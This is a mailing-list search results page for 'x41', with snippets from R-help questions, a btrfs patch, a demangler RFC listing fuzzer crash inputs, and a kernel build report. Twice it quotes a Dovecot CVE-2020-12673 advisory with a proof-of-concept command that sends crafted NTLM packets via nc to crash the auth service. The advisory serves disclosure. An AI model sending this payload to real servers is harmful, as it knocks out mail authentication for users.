Displaying 20 results from an estimated 40 matches for "x41".
Did you mean:
41
2005 Aug 15
2
queer data set
...sically structureless. Its dimension varies
from row to row and sep(s) are a mixture of tab and semi colon (;) and
example is
HEADER1 HEADER2 HEADER3 HEADER3
A1 B1 C1 X11;X12;X13
A2 B2 C2 X21;X22;X23;X24;X25
A3 B3 C3
A4 B4 C4 X41;X42;X43
A5 B5 C5 X51
etc., say. Note that a blank under HEADER3 corresponds to non
occurance and all semi colon (;) delimited variables are under
HEADER3. These values run into tens of thousands. I want to give some
order to this queer matrix to something like:
HEADER1 HEADER2...
2012 Nov 28
1
Help setting optimization problem to include more constraints
...nt
2 to destination 2 and so on, and the cost of this distribution plan is
$1150. However, I would like to add the following two constraints:
# 1. weighted sums by column
# w is a vector of known constants, i.e., w = c(1.2, .9, .7, 2.3)
# r is also known, i.e., r = 4
w1*x11 + w2*x21 + w3*x21 + w4*x41 == r # col 1
w1*x12 + w2*x22 + w3*x32 + w4*x42 == r # col 2
w1*x13 + w2*x23 + w3*x33 + w4*x43 == r # col 3
# 2. By column, the number of X's greater than zero should be two or
greater. In this small example, this condition is satisfied, but I would
like to make sure that it is a...
2011 Aug 20
2
a Question regarding glm for linear regression
...nd when I fit a model using the following formula,?
glmfit = glm(y ~ x1 + x2 + x3 + x4 + x5 + x6 + x7 + x8 + x9 + x10 + x11 + x12 + x13 + x14 + x15 + x16 + x17 + x18 + x19 + x20 + x21 + x22 + x23 + x24 + x25 + x26 + x27 + x28 + x29 + x30 + x31 + x32 + x33 + x34 + x35 + x36 + x37 + x38 + x39 + x40 + x41 + x42 + x43 + x44 + x45 + x46 + x47 + x48 + x49 + x50 + x51 + x52 + x53 + x54 + x55 + x56 + x57 + x58 + x59 + x60 + x61 + x62 + x63 + x64 + x65 + x66 + x67 + x68 + x69 + x70 + x71 + x72 + x73 + x74 + x75 + x76 + x77 + x78 + x79 + x80)
it gives me an error "Error in eval(expr, envir, enclos) :...
2013 Sep 22
10
[PATCH] Btrfs: fix sync fs to actually wait for all data to be persisted
...fixes this, ensuring that there''s no data loss
if a power failure happens right after fs sync returns success to
the caller and before the next commit happens.
Steps to reproduce the data loss issue:
$ mkfs.btrfs -f /dev/sdb3
$ mount /dev/sdb3 /mnt/btrfs
$ perl -e ''$d = ("\x41" x 6001); open($f,">","/mnt/btrfs/foobar"); print $f $d; close($f);'' && btrfs fi sync /mnt/btrfs
Right after the btrfs fi sync command (a second or 2 for example), power
off the machine and reboot it. The file will be empty, as it can be verified
after...
2018 Mar 14
2
truncation/rounding bug with write.csv
...quot;,"X23","X24","X25","X26","X27","X28","X29","X30","X31","X32","X33","X34","X35","X36","X37","X38","X39","X40","X41","X42","X43","X44","X45","X46","X47","X48","X49","X50","X51","X52","X53","X54","X55","X56","X57","X58","X59","...
2004 May 11
1
calling data frames
...ance,
Rog??rio
names<- list.files()
file <- "BLU_Var_%04d.txt"
for(i in 1:1000){
blumenau<-read.table("Blu_1.txt",h=T) # 1000 *.txt files
Guildas<-data.frame(cbind(t(blumenau[2:50])))
Guilda1<-cbind(X27,X48)
Guilda2<-cbind(X5,X17,X19,X20,X21,X24,X25,X26,X40,X41,X77)
Guilda3<-cbind(X22,X28,X69)
Guilda4<-cbind(X29,X30,X31,X32,X33,X34,X35,X36,X37,X78)
Guilda5<-cbind(X3,X8,X18,X23,X63,X82,X83)
Guilda6<-cbind(X6,X38,X39,X44,X45,X46,X47,X49,X50,X51,X52,X53,X54,X55,X56,X57,X58,X59,X60,X61,X62,X84)
Guilda7<-cbind(X1,X2,X42,X43,X64,X65,X66,X67,X68,X...
2018 Mar 14
2
truncation/rounding bug with write.csv
..."X23","X24","X25","X26","X27","X28","X29","X30","X31"
> ,"X32","X33","X34","X35","X36","X37","X38","X39","X40","X41"
> ,"X42","X43","X44","X45","X46","X47","X48","X49","X50","X51"
> ,"X52","X53","X54","X55","X56","X57","X58","X59...
2010 May 11
1
Help with Names
..."X24" "X25" "X26" "X27" "X28" "X29" "X30"
"X31" "X32" "X33" "X34" "X35" "X36" "X37" "X38" "X39" "X40"
[41] "X41" "X42" "X43" "X44" "X45" "X46" "X47" "X48" "X49" "X50"
"X51" "X52" "X53" "X54" "X55" "X56" "X57" "X58" &quo...
2018 Mar 14
2
truncation/rounding bug with write.csv
Hello, I have looked on https://www.r-project.org/bugs.html , but it seems
that this is the only way to do it.
The issue is that the precision used by write.csv is on consistant for big
files. See the following code:
First I create a large dataframe filled with random uniform values. Then I
write it to .csv and print out the first and last lines.
df = data.frame(replicate(100, runif(1000000,
2014 Dec 22
1
3.19.0-rc1 nouvea build failure on GeForce GT 610 only
...on GF119 [GeForce GT
> > 610] (rev a1)
>
> Why would that controller influence the build?
>
> > No problems on 2 other boxes with GeForce 8600 GT] (rev a1)
>
> I ran into this error twice, while building Fedora 21 kernel rpms for
> v3.19-rc1 on my outdated ThinkPad X41 (which uses i915, for what it's
> worth). The error made very little sense to me. Especially since it
> didn't happen when building in the local git repository.
>
> So I basically, well, scrubbed the rpmbuild environment. And then the
> the third attempt to build kernels rpm...
2017 Jun 21
6
RFC: Cleaning up the Itanium demangler
...iteratorEEE9constructIS3_IS3_EEEDTcl12_S_constructfp_fp0_spcl7forwardIT0_Efp1_EEERS4_PT_DpOS7_",
#if !LDBL_FP80
"_ZN5test01hIfEEvRAcvjplstT_Le4001a000000000000000E_c",
#endif
// The following test cases were found by libFuzzer+ASAN
"\x44\x74\x70\x74\x71\x75\x34\x43\x41\x72\x4D\x6E\x65\x34\x9F\xC1\x43\x41\x72\x4D\x6E\x77\x38\x9A\x8E\x44\x6F\x64\x6C\x53\xF9\x5F\x70\x74\x70\x69\x45\x34\xD3\x73\x9E\x2A\x37",
"\x4D\x41\x72\x63\x4E\x39\x44\x76\x72\x4D\x34\x44\x53\x4B\x6F\x44\x54\x6E\x61\x37\x47\x77\x78\x38\x43\x27\x41\x5F\x73\x70\x69\x45*",
&qu...
2014 Dec 22
2
3.19.0-rc1 nouvea build failure on GeForce GT 610 only
CHK kernel/config_data.h
CC [M] drivers/gpu/drm/nouveau/core/engine/dmaobj/nvd0.o
drivers/gpu/drm/nouveau/core/engine/dmaobj/nvd0.c: In function
‘nvd0_dmaobj_bind’:
drivers/gpu/drm/nouveau/core/engine/dmaobj/nvd0.c:54:8: error:
‘GM204_DISP_CORE_CHANNEL_DMA’ undeclared (first use in this function)
case GM204_DISP_CORE_CHANNEL_DMA:
^
2013 Apr 12
2
model frame and formula mismatch in model.matrix()
Hello everyone,
I am trying to fit the following model
All X. variables are continuous, while the conditions are categoricals.
model <- lm(X2
+X3+X4+X5+X6+X7+X8+X9+X10+X11+X12+X13+X14+X15+X16+X17+X18+X19+X20+X21+X22+X23+X24+X25+X26+X27+X28+X29+X30+X31+X32+X33+X34+X35+X36+X37+X38+X39+X40+X41+X42+X43+X44+X45+X46+X47+X48+X49+X50+X51+X52+X53+X54+X55+X56+X57+X58+X59+X60+X61+X62+X63+X64+X65+X66+X67+X68+X69+X70+X71+X72+X73+X74+X75+X76+X77+X78+X79+X80+X81+X82+X83+X84+X85+X86+X87+X88+X89+X90+X91+X92+X93+X94+X95+X96+X97+X98+X99+X100+X101+X102+X103+X104+X105+X106+X107+X108+X109+X110+X111+X112+X1...
2018 Mar 14
0
truncation/rounding bug with write.csv
...quot;,"X23","X24","X25","X26","X27","X28","X29","X30","X31","X32","X33","X34","X35","X36","X37","X38","X39","X40","X41","X42","X43","X44","X45","X46","X47","X48","X49","X50","X51","X52","X53","X54","X55","X56","X57","X58","X59","...
2009 Jun 24
2
change the height or scale of the y axis
...x23","x24","x25","x26","x27","x28","x29","x30",
"x31","x32","x33","x34","x35","x36","x37","x38","x39","x40",
"x41","x42","x43","x44","x45","x46","x47","x48","x49","x50",
"x51","x52","x53","x54","x55","x56","x57","x58","x59"...
2012 May 25
2
Query about creating time sequences
...ot;, "X24", "X25",
"X26", "X27", "X28", "X29", "X30", "X31", "X32", "X33", "X34",
"X35", "X36", "X37", "X38", "X39", "X40", "X41", "X42", "X43",
"X44", "X45", "X46", "X47", "X48", "X49", "X50", "X51", "X52",
"X53", "X54", "X55", "X56", "X57", "X58", &qu...
2020 Aug 12
0
CVE-2020-12673: Specially crafted NTML package can crash auth service
...(echo 'AUTH NTLM'; echo -ne
'NTLMSSP\x00\x01\x00\x00\x00\x00\x02\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
| \
base64 -w0 ;echo ;echo -ne
'NTLMSSP\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AA\x00\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00orange\x00'|
\
base64 -w0;echo ; echo QUIT)? | nc 127.0.0.1 110
Workaround:
Disable NTLM authentication.
Solution:
Upgrade to fixed version.
Best regards,
Aki Tuomi
Open-Xchange oy
--------------...
2020 Aug 12
0
CVE-2020-12673: Specially crafted NTML package can crash auth service
...(echo 'AUTH NTLM'; echo -ne
'NTLMSSP\x00\x01\x00\x00\x00\x00\x02\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
| \
base64 -w0 ;echo ;echo -ne
'NTLMSSP\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AA\x00\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00orange\x00'|
\
base64 -w0;echo ; echo QUIT)? | nc 127.0.0.1 110
Workaround:
Disable NTLM authentication.
Solution:
Upgrade to fixed version.
Best regards,
Aki Tuomi
Open-Xchange oy
--------------...
2018 Mar 14
0
truncation/rounding bug with write.csv
...quot;,"X23","X24","X25","X26","X27","X28","X29","X30","X31","X32","X33","X34","X35","X36","X37","X38","X39","X40","X41","X42","X43","X44","X45","X46","X47","X48","X49","X50","X51","X52","X53","X54","X55","X56","X57","X58","X59","...
2006 Jan 31
0
Character maps
Maybe a stupid question, but how paranoid should I be when it comes to
character maps? Is it safe to assume that if I want '\x41' to be sent to a
UPS, that this equals sending the 'A' character? In other words, is it
considered portable that (at least for the output of the serial functions)
we use an ASCII character map? Otherwise, on (for example) an EBCDIC
system (do these still exist?) you're in for a surp...